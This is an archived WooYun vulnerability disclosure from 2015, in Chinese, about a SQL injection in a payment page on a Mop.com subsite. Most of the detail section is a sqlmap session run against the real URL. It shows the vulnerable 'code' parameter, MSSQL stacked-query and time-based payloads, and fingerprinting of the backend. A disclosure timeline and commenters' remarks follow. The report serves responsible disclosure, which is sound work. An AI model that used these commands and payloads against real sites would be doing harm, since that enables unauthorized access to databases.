破壳企业应急安全(防御方向)课程 应急响应 勒索病毒 挖矿木马 DDOS 日志分析

猫扑某分站SQL注入

编号110978
Urlhttp://www.wooyun.org/bug.php?action=view&id=110978
漏洞状态厂商已经确认
漏洞标题猫扑某分站SQL注入
漏洞类型SQL注射漏洞
厂商猫扑
白帽子#6c6c6c
提交日期2015-04-29 08:05:00
公开日期2015-06-13 11:34:00
修复时间(not set)
确认时间2015-04-29 00:00:00
Confirm Spend0
漏洞标签sql
关注数0
收藏数0
白帽评级
白帽自评rank11
厂商评级
厂商评rank5
漏洞简介
sql
漏洞细节

对我公开了,你们却没修复,乌云上面有那么多普通白帽子,好像你们猫扑也是从我们大广西搬出去的!

F:\Python26\sqlmap>sqlmap.py -u "http://yeyou.mop.com/payment/yee_mobile.aspx?co
de=UNICOM"
sqlmap/1.0-dev - automatic SQL injection and database takeover tool
http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Developers assume no liability and are not respon
sible for any misuse or damage caused by this program
[*] starting at 00:42:03
[00:42:03] [WARNING] using 'C:\Users\Administrator\.sqlmap\output' as the output
directory
[00:42:03] [INFO] testing connection to the target URL
[00:42:03] [INFO] testing if the target URL is stable. This can take a couple of
seconds
[00:42:05] [INFO] target URL is stable
[00:42:05] [INFO] testing if GET parameter 'code' is dynamic
[00:42:05] [WARNING] GET parameter 'code' does not appear dynamic
[00:42:05] [WARNING] heuristic (basic) test shows that GET parameter 'code' migh
t not be injectable
[00:42:05] [INFO] testing for SQL injection on GET parameter 'code'
[00:42:05] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[00:42:05] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause
'
[00:42:05] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause'
[00:42:05] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE o
r HAVING clause'
[00:42:06] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLT
ype)'
[00:42:06] [INFO] testing 'MySQL inline queries'
[00:42:06] [INFO] testing 'PostgreSQL inline queries'
[00:42:06] [INFO] testing 'Microsoft SQL Server/Sybase inline queries'
[00:42:06] [INFO] testing 'Oracle inline queries'
[00:42:07] [INFO] testing 'SQLite inline queries'
[00:42:07] [INFO] testing 'MySQL > 5.0.11 stacked queries'
[00:42:07] [INFO] testing 'PostgreSQL > 8.1 stacked queries'
[00:42:07] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries'
[00:42:18] [INFO] GET parameter 'code' seems to be 'Microsoft SQL Server/Sybase
stacked queries' injectable
[00:42:18] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind'
[00:42:28] [INFO] GET parameter 'code' seems to be 'Microsoft SQL Server/Sybase
time-based blind' injectable
[00:42:28] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'
[00:42:28] [INFO] automatically extending ranges for UNION query injection techn
ique tests as there is at least one other (potential) technique found
[00:42:28] [INFO] ORDER BY technique seems to be usable. This should reduce the
time needed to find the right number of query columns. Automatically extending t
he range for current UNION query injection technique test
[00:42:29] [INFO] target URL appears to have 6 columns in query
injection not exploitable with NULL values. Do you want to try with a random int
eger value for option '--union-char'? [Y/n] y
[00:42:32] [WARNING] if UNION based SQL injection is not detected, please consid
er forcing the back-end DBMS (e.g. --dbms=mysql)
[00:42:32] [INFO] checking if the injection point on GET parameter 'code' is a f
alse positive
GET parameter 'code' is vulnerable. Do you want to keep testing the others (if a
ny)? [y/N] y
sqlmap identified the following injection points with a total of 96 HTTP(s) requ
ests:
---
Place: GET
Parameter: code
Type: stacked queries
Title: Microsoft SQL Server/Sybase stacked queries
Payload: code=UNICOM'; WAITFOR DELAY '0:0:5'--
Type: AND/OR time-based blind
Title: Microsoft SQL Server/Sybase time-based blind
Payload: code=UNICOM' WAITFOR DELAY '0:0:5'--
---
[00:43:10] [INFO] testing Microsoft SQL Server
[00:43:10] [WARNING] it is very important not to stress the network adapter duri
ng usage of time-based payloads to prevent potential errors
do you want sqlmap to try to optimize value(s) for DBMS delay responses (option
'--time-sec')? [Y/n] y
[00:43:17] [INFO] confirming Microsoft SQL Server
[00:43:27] [INFO] adjusting time delay to 1 second due to good response times
[00:43:29] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows
web application technology: ASP.NET, Nginx, ASP.NET 2.0.50727
back-end DBMS: Microsoft SQL Server 2008
[00:43:29] [WARNING] HTTP error codes detected during run:
404 (Not Found) - 72 times
[00:43:29] [INFO] fetched data logged to text files under 'C:\Users\Administrato
r\.sqlmap\output\yeyou.mop.com'
[*] shutting down at 00:43:29

POC

该修复了,别偷懒额。

修复方案

状态信息 2015-04-29: 细节已通知厂商并且等待厂商处理中
2015-04-29: 厂商已经确认,细节仅向厂商公开
2015-05-09: 细节向核心白帽子及相关领域专家公开
2015-05-19: 细节向普通白帽子公开
2015-05-29: 细节向实习白帽子公开
2015-06-13: 细节向公众公开
厂商回复非常感谢,我们会尽快修复的。
回应信息危害等级:中漏洞Rank:5 确认时间:2015-04-29 11:32
Showing 1-5 of 5 items.
评论内容评论人点赞数评论时间

@#6c6c6c 好贱阿= =

xsser_w02015-04-29 14:48:00

@xsser_w 故意的,%23

#6c6c6c02015-04-29 13:31:00

@#6c6c6c 你名字刚好有个# 浏览器解析为。。。/

xsser_w02015-04-29 13:22:00

@sco4x0 我是说不装逼

#6c6c6c02015-04-29 09:34:00

不是说好不挖洞的么

sco4x002015-04-29 09:29:00